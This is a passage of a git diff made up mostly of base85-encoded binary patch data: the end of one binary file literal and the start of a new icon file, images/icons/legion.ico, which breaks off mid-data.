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 literal 0 HcmV?d00001 diff --git a/images/icons/legion.ico b/images/icons/legion.ico new file mode 100644 index 0000000000000000000000000000000000000000..4217cecdd863261501f3ae1ec6dfcdf9420fbf9c GIT binary patch literal 74814 zcmeHQ349bq)_)KY6oF*F1c6o5MKQSO3Xx+HGiVS+)D;v3lxqc)tgJh$?z$?M9O8+9 zT;VWFVo+dpU6u9X5Cnk;5~4&P5<&vuN+y|{lT3#GdXB2D>aOnTo}QxzX7Za<)vK!a z-v3o~-PHrog8xIG#Oqr?M?R3~BDlycT}~TU2;f>ForeHmw>N;jfrF;{I^N~|HPujC za~|sJ&qD)GudCz0R&^d~YB;E_cJh9XkE`S3>Y=`_j*qW}+S(duu-TxY+LgBkYIwK0 z+6L7;&1S2Drlv+dUnSI@I|ucZl~7kv4pqEcbLI@xoIL|oCrY8}BOgp%V1Qa*txwK zzTfHKzfG`XdlPKm)&$4C-w8*zZ-ZaI-3r^bHo@U;!l z$KyH=``3L4d$ZQSzMLG${Z}S@zkC_&S-lE&tym5_mM(_x7A=JB3*Uil^WTQ8o10+M z*G;hbn@0Hh%O?KY2w#2C2w!Y$gwH>1gik-Q!zUlxVf}}8_|Hdn`1g7{Y*^O->(<&~ z-3NB~aBTyecRC>_%MKspG(cmc9dfc8AbU*%{OdhC|80QGRSmEzqXAa0Y=D)^>mg%l zJuF>Z4@(x+!@CRWVd4CGc;~G;c>4{{_s!Spz{&G`{na{{H>VEf&Z>jiGwWdUYx7|1 z8?VDRbLYU!X|*tGMlJmB<(FXNi!Z>Z&p!(rCO-uq|78lSoA?BL@TYN*Gv;yl*YJm+ z+2Mf9VMBSBgB3#t!}7cDg5`q-!m@#P!je18@bW)vVaC*2nD$aFOntEiUi?Qbyz~O^ z{=EjCv(&%~&-35sYT+Nx*1+?BtAW2gQv(j3*I%d9z%x%*!<5O@@aHG1A$?LcIGY_X zal8$lnotcB|5Oc6jI9PoQxl9IZG*9+Y%uO|8;l-lgU3hMVB~QA`*0PE;J?F%R>9Ew zs^H;2R>83Qt9UzdeBEh=2ZvO_1NZXZ!Ig0TJ(VzIP$k@VcO?uSSP6IE$$!%-VbC3w zaMyrJ7-+79wA4zt^L8uTkz$1b$yP9%tdQE@3b*&OLW=9#*9ysftYC6|Z{xp7R_M=v z`}KBxE5H=0Pu9jXXx||=KA~f$E?s-|N=i!V-JAc{t5?@9ojNAO$F_@E(0OB4sI&=@ zoUDV;A)!;RzA5HARDM!Z`u6G+-vKth9U>KjBF1tsCazN-^{83KG51fpG8Q%lMZe%N zwRG-qrB2|qG0Z7R9orqW1W)6Dan6GHUMaNl0SlS?ca2+MTq9W0Vtd^lFtDLX`dAKk|&K|?i#v5yvcO1Qy8Cl5;o~i zO(@mhl&j&;zAq`(Kz?)50yX;UN@Ix&*61!EhV0)#7dl^=vl0yT)U!;M8XL6kz+!y# zE{mkb`YJ~M;^Pe1=&@?R9e1R(_Ya{`t{6i<_hLKr>#T%Ddt7OfSc1XB=1zfJJBl@Y zvnMT%)EMo>%+8V3N6I}CC|v^66D)|Bc28U={R6RZ7#D$c9~r`|za!{`ctxaZj%Pp8 zs;QCI?n_GPO4U$V342TUMI50M3zte-uZTm-P&h#)SZT5=8Qda}1{G~NZ^H*4$yJ6r&mDF_^mQ~F-SuP@l3$x3r4hXGM;pPv^-t49zW!}8T_BSHjZ+_@DZC(- z!2MbL_S(R58~q?fVo3YaFHr$35#I^u+5UAIBErYP{%`)GS`ZnBKG{#ExgA2G!-a^Q z3Z@*?0b9sgYSaVo>_W%Xt{T_81;k=sB%T3F)wtp-#!Q7bMqEG8CBWCn+lSz4C$71= zJ^eLqcTk1R4p`zNWL!LIC4Qk|1h+N=DzWr zu?pe#WW`(=N*kE_CK&HUIF<$RNg)^<-QG1e%>b2NrpA@VB=ioN5mI`^LwH(x8MHFw zthCrpeFJKRls;E>=xp3lXWGHixqW<>zPIaY8qFzvI>p6A8gkkkrJZA96T0;7m#W$l z=9GR(T@qqrI;*biH+H9G8Z%@mJ-8sIU2L4^^@mBl`}Dbu|Mcn8JIV6`#JCRaA#G!x z_ImzM?R&;V92%`AHF5Q!kz`0I?>IT`ydgDHsZ_4YbnIkn_*eUK+!}Ud1W<>+Sw2UH znm@SVbLBc%_?dNS16qCC{rs`WKD%gVnGals(&z+&Z)T#LITh)5Bz#iv{{P z-*2Ur*Z4+nX6JmZSp$&1)-628Z%$tIvnRn*OoCbsn2_~KICWb zHS`x6y(_f!G7YM|hw|4xq9IqnlHQEOm*3OjyGA zTb_@7yk@?M`%z}GyQYOIX31E3v41^>Dk;i|)+61W?7HK#j2$SCt-J7533$jDPc4ovdO{cxWZeNn9V`e$1zPQS!m*LL)J7ymB3eV*~!D_ zIIBXFx&mdaAE8QOkQ3o}X-iPa0D93CY%4zkd-<9L4gFeH7H1gRNxB3w! zCEem`GKBou!&y2d|;XM6HQhTMwjbYS<=%xhbPG#w}%1n@{=gd zfp8#|k=dpgX;rKANIr5JB_rJ8$1MD3P9;G?-d`k(x;=5Stum^FiHrxM&evo$7{{vS zYc6%cw^(|zo{XZNG_z6l$TZ98i13G&A>dA4z1h zn!P!lvq`cs{Nu6uzc2^n=?wyG#)3^~vli*dEhDJBcOrf`aEhZ3O5s~9S0CH?@7MK^N+wti-pn4 z2s}PQD7ZDEM_({T+kH3@@)VE9UB@cpL8djjp$utl8|ICs%z@mH2XnrwFC@ zt~7GaxwJ4thVX>Y@rql&%Zd;TAAUHe!=0v0Q^8msNvl+VTXK;-JN z6k0}LAxcWQ)oNE5#0rHvJfjKe%})q%w~c7F(G0{Q(p61$7XeVI&@^2A*6P&nVnb03La@S2#n_;$#S 